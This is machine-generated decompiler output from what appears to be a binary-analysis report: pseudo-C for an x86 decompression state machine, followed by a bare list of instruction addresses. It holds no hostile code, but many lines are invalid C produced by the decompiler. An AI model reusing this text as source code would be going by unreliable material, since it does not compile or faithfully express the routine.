											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t155 = __ebp - 0x70;
											 *_t155 =  *(__ebp - 0x70) + 1;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
										}
									}
									L53:
									_t172 = __ebp - 0x34;
									 *_t172 =  *(__ebp - 0x34) & 0x00000000;
									L54:
									__al =  *(__ebp - 0x44);
									 *(__ebp - 0x5c) =  *(__ebp - 0x44);
									L55:
									if( *(__ebp - 0x64) == 0) {
										 *(__ebp - 0x88) = 0x1a;
										goto L170;
									}
									__ecx =  *(__ebp - 0x68);
									__al =  *(__ebp - 0x5c);
									__edx =  *(__ebp - 8);
									 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
									 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
									 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
									 *( *(__ebp - 0x68)) = __al;
									__ecx =  *(__ebp - 0x14);
									 *(__ecx +  *(__ebp - 8)) = __al;
									__eax = __ecx + 1;
									__edx = 0;
									_t191 = __eax %  *(__ebp - 0x74);
									__eax = __eax /  *(__ebp - 0x74);
									__edx = _t191;
									L79:
									 *(__ebp - 0x14) = __edx;
									L80:
									 *(__ebp - 0x88) = 2;
									goto L1;
								}
								if(__ebx >= 0x100) {
									goto L53;
								}
								goto L40;
							} else {
								L36:
								if( *(__ebp - 0x6c) == 0) {
									 *(__ebp - 0x88) = 0xd;
									L170:
									_t568 = 0x22;
									memcpy( *(_t614 - 0x90), _t614 - 0x88, _t568 << 2);
									_t535 = 0;
									L172:
									return _t535;
								}
								__ecx =  *(__ebp - 0x70);
								__eax =  *(__ebp - 0xc);
								 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
								__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
								 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
								 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								_t121 = __ebp - 0x70;
								 *_t121 =  *(__ebp - 0x70) + 1;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								goto L38;
							}
						}
					}
					L1:
					_t534 =  *(_t614 - 0x88);
					if(_t534 > 0x1c) {
						L171:
						_t535 = _t534 | 0xffffffff;
						goto L172;
					}
					switch( *((intOrPtr*)(_t534 * 4 +  &M00406A77))) {
						case 0:
							if( *(_t614 - 0x6c) == 0) {
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							_t534 =  *( *(_t614 - 0x70));
							if(_t534 > 0xe1) {
								goto L171;
							}
							_t538 = _t534 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t570);
							_push(9);
							_pop(_t571);
							_t610 = _t538 / _t570;
							_t540 = _t538 % _t570 & 0x000000ff;
							asm("cdq");
							_t605 = _t540 % _t571 & 0x000000ff;
							 *(_t614 - 0x3c) = _t605;
							 *(_t614 - 0x1c) = (1 << _t610) - 1;
							 *((intOrPtr*)(_t614 - 0x18)) = (1 << _t540 / _t571) - 1;
							_t613 = (0x300 << _t605 + _t610) + 0x736;
							if(0x600 ==  *((intOrPtr*)(_t614 - 0x78))) {
								L10:
								if(_t613 == 0) {
									L12:
									 *(_t614 - 0x48) =  *(_t614 - 0x48) & 0x00000000;
									 *(_t614 - 0x40) =  *(_t614 - 0x40) & 0x00000000;
									goto L15;
								} else {
									goto L11;
								}
								do {
									L11:
									_t613 = _t613 - 1;
									 *((short*)( *(_t614 - 4) + _t613 * 2)) = 0x400;
								} while (_t613 != 0);
								goto L12;
							}
							if( *(_t614 - 4) != 0) {
								GlobalFree( *(_t614 - 4)); // executed
							}
							_t534 = GlobalAlloc(0x40, 0x600); // executed
							 *(_t614 - 4) = _t534;
							if(_t534 == 0) {
								goto L171;
							} else {
								 *((intOrPtr*)(_t614 - 0x78)) = 0x600;
								goto L10;
							}
						case 1:
							L13:
							__eflags =  *(_t614 - 0x6c);
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 1;
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x40) =  *(_t614 - 0x40) | ( *( *(_t614 - 0x70)) & 0x000000ff) <<  *(_t614 - 0x48) << 0x00000003;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							_t45 = _t614 - 0x48;
							 *_t45 =  *(_t614 - 0x48) + 1;
							__eflags =  *_t45;
							L15:
							if( *(_t614 - 0x48) < 4) {
								goto L13;
							}
							_t546 =  *(_t614 - 0x40);
							if(_t546 ==  *(_t614 - 0x74)) {
								L20:
								 *(_t614 - 0x48) = 5;
								 *( *(_t614 - 8) +  *(_t614 - 0x74) - 1) =  *( *(_t614 - 8) +  *(_t614 - 0x74) - 1) & 0x00000000;
								goto L23;
							}
							 *(_t614 - 0x74) = _t546;
							if( *(_t614 - 8) != 0) {
								GlobalFree( *(_t614 - 8)); // executed
							}
							_t534 = GlobalAlloc(0x40,  *(_t614 - 0x40)); // executed
							 *(_t614 - 8) = _t534;
							if(_t534 == 0) {
								goto L171;
							} else {
								goto L20;
							}
						case 2:
							L24:
							_t553 =  *(_t614 - 0x60) &  *(_t614 - 0x1c);
							 *(_t614 - 0x84) = 6;
							 *(_t614 - 0x4c) = _t553;
							_t607 =  *(_t614 - 4) + (( *(_t614 - 0x38) << 4) + _t553) * 2;
							goto L132;
						case 3:
							L21:
							__eflags =  *(_t614 - 0x6c);
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 3;
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							_t67 = _t614 - 0x70;
							 *_t67 =  &(( *(_t614 - 0x70))[1]);
							__eflags =  *_t67;
							 *(_t614 - 0xc) =  *(_t614 - 0xc) << 0x00000008 |  *( *(_t614 - 0x70)) & 0x000000ff;
							L23:
							 *(_t614 - 0x48) =  *(_t614 - 0x48) - 1;
							if( *(_t614 - 0x48) != 0) {
								goto L21;
							}
							goto L24;
						case 4:
							goto L133;
						case 5:
							goto L137;
						case 6:
							goto L0;
						case 7:
							__eflags =  *(__ebp - 0x40) - 1;
							if( *(__ebp - 0x40) != 1) {
								__eax =  *(__ebp - 0x24);
								 *(__ebp - 0x80) = 0x16;
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x28);
								 *(__ebp - 0x24) =  *(__ebp - 0x28);
								__eax =  *(__ebp - 0x2c);
								 *(__ebp - 0x28) =  *(__ebp - 0x2c);
								__eax = 0;
								__eflags =  *(__ebp - 0x38) - 7;
								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
								__al = __al & 0x000000fd;
								__eax = (__eflags >= 0) - 1 + 0xa;
								 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
								__eax =  *(__ebp - 4);
								__eax =  *(__ebp - 4) + 0x664;
								__eflags = __eax;
								 *(__ebp - 0x58) = __eax;
								goto L68;
							}
							__eax =  *(__ebp - 4);
							__ecx =  *(__ebp - 0x38);
							 *(__ebp - 0x84) = 8;
							__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
							goto L132;
						case 8:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xa;
								__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
							} else {
								__eax =  *(__ebp - 0x38);
								__ecx =  *(__ebp - 4);
								__eax =  *(__ebp - 0x38) + 0xf;
								 *(__ebp - 0x84) = 9;
								 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
								__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
							}
							goto L132;
						case 9:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								goto L89;
							}
							__eflags =  *(__ebp - 0x60);
							if( *(__ebp - 0x60) == 0) {
								goto L171;
							}
							__eax = 0;
							__eflags =  *(__ebp - 0x38) - 7;
							_t258 =  *(__ebp - 0x38) - 7 >= 0;
							__eflags = _t258;
							0 | _t258 = _t258 + _t258 + 9;
							 *(__ebp - 0x38) = _t258 + _t258 + 9;
							goto L75;
						case 0xa:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xb;
								__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x28);
							goto L88;
						case 0xb:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__ecx =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x20);
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
							} else {
								__eax =  *(__ebp - 0x24);
							}
							__ecx =  *(__ebp - 0x28);
							 *(__ebp - 0x24) =  *(__ebp - 0x28);
							L88:
							__ecx =  *(__ebp - 0x2c);
							 *(__ebp - 0x2c) = __eax;
							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
							L89:
							__eax =  *(__ebp - 4);
							 *(__ebp - 0x80) = 0x15;
							__eax =  *(__ebp - 4) + 0xa68;
							 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
							goto L68;
						case 0xc:
							L99:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xc;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t334 = __ebp - 0x70;
							 *_t334 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t334;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							__eax =  *(__ebp - 0x2c);
							goto L101;
						case 0xd:
							goto L36;
						case 0xe:
							goto L45;
						case 0xf:
							goto L57;
						case 0x10:
							L109:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x10;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t365 = __ebp - 0x70;
							 *_t365 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t365;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							goto L111;
						case 0x11:
							L68:
							__esi =  *(__ebp - 0x58);
							 *(__ebp - 0x84) = 0x12;
							goto L132;
						case 0x12:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 0x58);
								 *(__ebp - 0x84) = 0x13;
								__esi =  *(__ebp - 0x58) + 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x4c);
							 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							__eflags = __eax;
							__eax =  *(__ebp - 0x58) + __eax + 4;
							goto L130;
						case 0x13:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								_t469 = __ebp - 0x58;
								 *_t469 =  *(__ebp - 0x58) + 0x204;
								__eflags =  *_t469;
								 *(__ebp - 0x30) = 0x10;
								 *(__ebp - 0x40) = 8;
								L144:
								 *(__ebp - 0x7c) = 0x14;
								goto L145;
							}
							__eax =  *(__ebp - 0x4c);
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							 *(__ebp - 0x30) = 8;
							__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
							L130:
							 *(__ebp - 0x58) = __eax;
							 *(__ebp - 0x40) = 3;
							goto L144;
						case 0x14:
							 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
							__eax =  *(__ebp - 0x80);
							goto L140;
						case 0x15:
							__eax = 0;
							__eflags =  *(__ebp - 0x38) - 7;
							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
							__al = __al & 0x000000fd;
							__eax = (__eflags >= 0) - 1 + 0xb;
							 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
							goto L120;
						case 0x16:
							__eax =  *(__ebp - 0x30);
							__eflags = __eax - 4;
							if(__eax >= 4) {
								_push(3);
								_pop(__eax);
							}
							__ecx =  *(__ebp - 4);
							 *(__ebp - 0x40) = 6;
							__eax = __eax << 7;
							 *(__ebp - 0x7c) = 0x19;
							 *(__ebp - 0x58) = __eax;
							goto L145;
						case 0x17:
							L145:
							__eax =  *(__ebp - 0x40);
							 *(__ebp - 0x50) = 1;
							 *(__ebp - 0x48) =  *(__ebp - 0x40);
							goto L149;
						case 0x18:
							L146:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x18;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t484 = __ebp - 0x70;
							 *_t484 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t484;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L148:
							_t487 = __ebp - 0x48;
							 *_t487 =  *(__ebp - 0x48) - 1;
							__eflags =  *_t487;
							L149:
							__eflags =  *(__ebp - 0x48);
							if( *(__ebp - 0x48) <= 0) {
								__ecx =  *(__ebp - 0x40);
								__ebx =  *(__ebp - 0x50);
								0 = 1;
								__eax = 1 << __cl;
								__ebx =  *(__ebp - 0x50) - (1 << __cl);
								__eax =  *(__ebp - 0x7c);
								 *(__ebp - 0x44) = __ebx;
								goto L140;
							}
							__eax =  *(__ebp - 0x50);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
							__eax =  *(__ebp - 0x58);
							__esi = __edx + __eax;
							 *(__ebp - 0x54) = __esi;
							__ax =  *__esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								__cx = __ax >> 5;
								__eax = __eax - __ecx;
								__edx = __edx + 1;
								__eflags = __edx;
								 *__esi = __ax;
								 *(__ebp - 0x50) = __edx;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L148;
							} else {
								goto L146;
							}
						case 0x19:
							__eflags = __ebx - 4;
							if(__ebx < 4) {
								 *(__ebp - 0x2c) = __ebx;
								L119:
								_t393 = __ebp - 0x2c;
								 *_t393 =  *(__ebp - 0x2c) + 1;
								__eflags =  *_t393;
								L120:
								__eax =  *(__ebp - 0x2c);
								__eflags = __eax;
								if(__eax == 0) {
									 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
									goto L170;
								}
								__eflags = __eax -  *(__ebp - 0x60);
								if(__eax >  *(__ebp - 0x60)) {
									goto L171;
								}
								 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
								__eax =  *(__ebp - 0x30);
								_t400 = __ebp - 0x60;
								 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
								__eflags =  *_t400;
								goto L123;
							}
							__ecx = __ebx;
							__eax = __ebx;
							__ecx = __ebx >> 1;
							__eax = __ebx & 0x00000001;
							__ecx = (__ebx >> 1) - 1;
							__al = __al | 0x00000002;
							__eax = (__ebx & 0x00000001) << __cl;
							__eflags = __ebx - 0xe;
							 *(__ebp - 0x2c) = __eax;
							if(__ebx >= 0xe) {
								__ebx = 0;
								 *(__ebp - 0x48) = __ecx;
								L102:
								__eflags =  *(__ebp - 0x48);
								if( *(__ebp - 0x48) <= 0) {
									__eax = __eax + __ebx;
									 *(__ebp - 0x40) = 4;
									 *(__ebp - 0x2c) = __eax;
									__eax =  *(__ebp - 4);
									__eax =  *(__ebp - 4) + 0x644;
									__eflags = __eax;
									L108:
									__ebx = 0;
									 *(__ebp - 0x58) = __eax;
									 *(__ebp - 0x50) = 1;
									 *(__ebp - 0x44) = 0;
									 *(__ebp - 0x48) = 0;
									L112:
									__eax =  *(__ebp - 0x40);
									__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
									if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
										_t391 = __ebp - 0x2c;
										 *_t391 =  *(__ebp - 0x2c) + __ebx;
										__eflags =  *_t391;
										goto L119;
									}
									__eax =  *(__ebp - 0x50);
									 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
									__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
									__eax =  *(__ebp - 0x58);
									__esi = __edi + __eax;
									 *(__ebp - 0x54) = __esi;
									__ax =  *__esi;
									__ecx = __ax & 0x0000ffff;
									__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
									__eflags =  *(__ebp - 0xc) - __edx;
									if( *(__ebp - 0xc) >= __edx) {
										__ecx = 0;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
										__ecx = 1;
										 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
										__ebx = 1;
										__ecx =  *(__ebp - 0x48);
										__ebx = 1 << __cl;
										__ecx = 1 << __cl;
										__ebx =  *(__ebp - 0x44);
										__ebx =  *(__ebp - 0x44) | __ecx;
										__cx = __ax;
										__cx = __ax >> 5;
										__eax = __eax - __ecx;
										__edi = __edi + 1;
										__eflags = __edi;
										 *(__ebp - 0x44) = __ebx;
										 *__esi = __ax;
										 *(__ebp - 0x50) = __edi;
									} else {
										 *(__ebp - 0x10) = __edx;
										0x800 = 0x800 - __ecx;
										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
										 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
										 *__esi = __dx;
									}
									__eflags =  *(__ebp - 0x10) - 0x1000000;
									if( *(__ebp - 0x10) >= 0x1000000) {
										L111:
										_t368 = __ebp - 0x48;
										 *_t368 =  *(__ebp - 0x48) + 1;
										__eflags =  *_t368;
										goto L112;
									} else {
										goto L109;
									}
								}
								__ecx =  *(__ebp - 0xc);
								__ebx = __ebx + __ebx;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
								__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
								 *(__ebp - 0x44) = __ebx;
								if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
									__ecx =  *(__ebp - 0x10);
									 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
									__ebx = __ebx | 0x00000001;
									__eflags = __ebx;
									 *(__ebp - 0x44) = __ebx;
								}
								__eflags =  *(__ebp - 0x10) - 0x1000000;
								if( *(__ebp - 0x10) >= 0x1000000) {
									L101:
									_t338 = __ebp - 0x48;
									 *_t338 =  *(__ebp - 0x48) - 1;
									__eflags =  *_t338;
									goto L102;
								} else {
									goto L99;
								}
							}
							__edx =  *(__ebp - 4);
							__eax = __eax - __ebx;
							 *(__ebp - 0x40) = __ecx;
							__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
							goto L108;
						case 0x1a:
							goto L55;
						case 0x1b:
							L75:
							__eflags =  *(__ebp - 0x64);
							if( *(__ebp - 0x64) == 0) {
								 *(__ebp - 0x88) = 0x1b;
								goto L170;
							}
							__eax =  *(__ebp - 0x14);
							__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
							__eflags = __eax -  *(__ebp - 0x74);
							if(__eax >=  *(__ebp - 0x74)) {
								__eax = __eax +  *(__ebp - 0x74);
								__eflags = __eax;
							}
							__edx =  *(__ebp - 8);
							__cl =  *(__eax + __edx);
							__eax =  *(__ebp - 0x14);
							 *(__ebp - 0x5c) = __cl;
							 *(__eax + __edx) = __cl;
							__eax = __eax + 1;
							__edx = 0;
							_t274 = __eax %  *(__ebp - 0x74);
							__eax = __eax /  *(__ebp - 0x74);
							__edx = _t274;
							__eax =  *(__ebp - 0x68);
							 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
							 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
							_t283 = __ebp - 0x64;
							 *_t283 =  *(__ebp - 0x64) - 1;
							__eflags =  *_t283;
							 *( *(__ebp - 0x68)) = __cl;
							goto L79;
						case 0x1c:
							while(1) {
								L123:
								__eflags =  *(__ebp - 0x64);
								if( *(__ebp - 0x64) == 0) {
									break;
								}
								__eax =  *(__ebp - 0x14);
								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
								__eflags = __eax -  *(__ebp - 0x74);
								if(__eax >=  *(__ebp - 0x74)) {
									__eax = __eax +  *(__ebp - 0x74);
									__eflags = __eax;
								}
								__edx =  *(__ebp - 8);
								__cl =  *(__eax + __edx);
								__eax =  *(__ebp - 0x14);
								 *(__ebp - 0x5c) = __cl;
								 *(__eax + __edx) = __cl;
								__eax = __eax + 1;
								__edx = 0;
								_t414 = __eax %  *(__ebp - 0x74);
								__eax = __eax /  *(__ebp - 0x74);
								__edx = _t414;
								__eax =  *(__ebp - 0x68);
								 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
								 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
								 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
								__eflags =  *(__ebp - 0x30);
								 *( *(__ebp - 0x68)) = __cl;
								 *(__ebp - 0x14) = __edx;
								if( *(__ebp - 0x30) > 0) {
									continue;
								} else {
									goto L80;
								}
							}
							 *(__ebp - 0x88) = 0x1c;
							goto L170;
					}
				}
			}

0x00000000
0x004061d4
0x004061d4
0x004061d9
0x00406250
0x00406257
0x00406261
0x00406840
0x00406840
0x00406843
0x00406843
0x00406849
0x0040684f
0x00406855
0x0040686f
0x00406872
0x00406878
0x00406883
0x00406885
0x00406857
0x00406857
0x00406866
0x0040686a
0x0040686a
0x0040688f
0x004068b6
0x004068b6
0x004068bc
0x004068bc
0x00000000
0x00406891
0x00406891
0x00406895
0x00406a44
0x00000000
0x00406a44
0x004068a1
0x004068a8
0x004068b0
0x004068b3
0x00000000
0x004068b3
0x004061db
0x004061db
0x004061df
0x004061e7
0x004061ea
0x004061ec
0x004061ef
0x004061f1
0x004061f6
0x004061f9
0x00406200
0x00406207
0x0040620a
0x00406215
0x0040621d
0x0040621d
0x00406217
0x00406217
0x00406217
0x0040620c
0x0040620c
0x0040620c
0x00406224
0x00406242
0x00406244
0x00406417
0x00406417
0x0040641a
0x0040641d
0x00406420
0x00406423
0x00406426
0x00406429
0x0040642c
0x0040642f
0x00406435
0x0040644d
0x00406450
0x00406453
0x00406456
0x00406456
0x00406459
0x0040645f
0x00406437
0x00406437
0x0040643f
0x00406444
0x00406446
0x00406448
0x00406448
0x00406469
0x0040646c
0x0040640f
0x00406415
0x00000000
0x00000000
0x00000000
0x0040646e
0x004063ea
0x004063ee
0x004069f6
0x00000000
0x004069f6
0x004063f4
0x004063f7
0x004063fa
0x004063fe
0x00406401
0x00406407
0x00406409
0x00406409
0x0040640c
0x00000000
0x0040640c
0x00406226
0x00406226
0x00406229
0x0040622f
0x00406231
0x00406231
0x00406234
0x00406237
0x00406239
0x0040623a
0x0040623d
0x004062aa
0x004062aa
0x004062ae
0x004062b1
0x004062b4
0x004062b7
0x004062ba
0x004062bb
0x004062be
0x004062c0
0x004062c6
0x004062c9
0x004062cc
0x004062cf
0x004062d2
0x004062d8
0x004062f4
0x004062f7
0x004062fa
0x004062fd
0x00406304
0x0040630a
0x0040630e
0x004062da
0x004062da
0x004062de
0x004062e6
0x004062eb
0x004062ed
0x004062ef
0x004062ef
0x00406318
0x0040631b
0x00406292
0x00406292
0x00406298
0x0040634b
0x00406351
0x00000000
0x00000000
0x00406353
0x00406356
0x00406359
0x0040635c
0x0040635f
0x00406362
0x00406365
0x00406368
0x0040636b
0x00406371
0x00406389
0x0040638c
0x0040638f
0x00406392
0x00406392
0x00406395
0x0040639b
0x00406373
0x00406373
0x0040637b
0x00406380
0x00406382
0x00406384
0x00406384
0x004063a5
0x004063a8
0x00406326
0x0040632a
0x004069ea
0x00000000
0x004069ea
0x00406330
0x00406333
0x00406336
0x0040633a
0x0040633d
0x00406343
0x00406345
0x00406345
0x00406348
0x00406348
0x004063a8
0x004063af
0x004063af
0x004063af
0x004063b3
0x004063b3
0x004063b6
0x004063b9
0x004063bd
0x00406a02
0x00000000
0x00406a02
0x004063c3
0x004063c6
0x004063c9
0x004063cc
0x004063cf
0x004063d2
0x004063d5
0x004063d7
0x004063da
0x004063dd
0x004063e0
0x004063e2
0x004063e2
0x004063e2
0x0040657f
0x0040657f
0x00406582
0x00406582
0x00000000
0x00406582
0x004062a4
0x00000000
0x00000000
0x00000000
0x00406321
0x0040626d
0x00406271
0x004069de
0x00406a5a
0x00406a62
0x00406a69
0x00406a6b
0x00406a72
0x00406a76
0x00406a76
0x00406277
0x0040627a
0x0040627d
0x00406281
0x00406284
0x0040628a
0x0040628c
0x0040628c
0x0040628f
0x00000000
0x0040628f
0x0040631b
0x00406224
0x00406058
0x00406058
0x00406061
0x00406a6f
0x00406a6f
0x00000000
0x00406a6f
0x00406067
0x00000000
0x00406072
0x00000000
0x00000000
0x0040607b
0x0040607e
0x00406081
0x00406085
0x00000000
0x00000000
0x0040608b
0x0040608e
0x00406090
0x00406091
0x00406094
0x00406096
0x00406097
0x00406099
0x0040609c
0x004060a1
0x004060a6
0x004060af
0x004060c2
0x004060c5
0x004060d1
0x004060f9
0x004060fb
0x00406109
0x00406109
0x0040610d
0x00000000
0x00000000
0x00000000
0x00000000
0x004060fd
0x004060fd
0x00406100
0x00406101
0x00406101
0x00000000
0x004060fd
0x004060d7
0x004060dc
0x004060dc
0x004060e5
0x004060ed
0x004060f0
0x00000000
0x004060f6
0x004060f6
0x00000000
0x004060f6
0x00000000
0x00406113
0x00406113
0x00406117
0x004069c3
0x00000000
0x004069c3
0x00406120
0x00406130
0x00406133
0x00406136
0x00406136
0x00406136
0x00406139
0x0040613d
0x00000000
0x00000000
0x0040613f
0x00406145
0x0040616f
0x00406175
0x0040617c
0x00000000
0x0040617c
0x0040614b
0x0040614e
0x00406153
0x00406153
0x0040615e
0x00406166
0x00406169
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004061ae
0x004061b4
0x004061b7
0x004061c4
0x004061cc
0x00000000
0x00000000
0x00406183
0x00406183
0x00406187
0x004069d2
0x00000000
0x004069d2
0x00406193
0x0040619e
0x0040619e
0x0040619e
0x004061a1
0x004061a4
0x004061a7
0x004061ac
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406473
0x00406477
0x00406495
0x00406498
0x0040649f
0x004064a2
0x004064a5
0x004064a8
0x004064ab
0x004064ae
0x004064b0
0x004064b7
0x004064b8
0x004064ba
0x004064bd
0x004064c0
0x004064c3
0x004064c3
0x004064c8
0x00000000
0x004064c8
0x00406479
0x0040647c
0x0040647f
0x00406489
0x00000000
0x00000000
0x004064dd
0x004064e1
0x00406504
0x00406507
0x0040650a
0x00406514
0x004064e3
0x004064e3
0x004064e6
0x004064e9
0x004064ec
0x004064f9
0x004064fc
0x004064fc
0x00000000
0x00000000
0x00406520
0x00406524
0x00000000
0x00000000
0x0040652a
0x0040652e
0x00000000
0x00000000
0x00406534
0x00406536
0x0040653a
0x0040653a
0x0040653d
0x00406541
0x00000000
0x00000000
0x00406591
0x00406595
0x0040659c
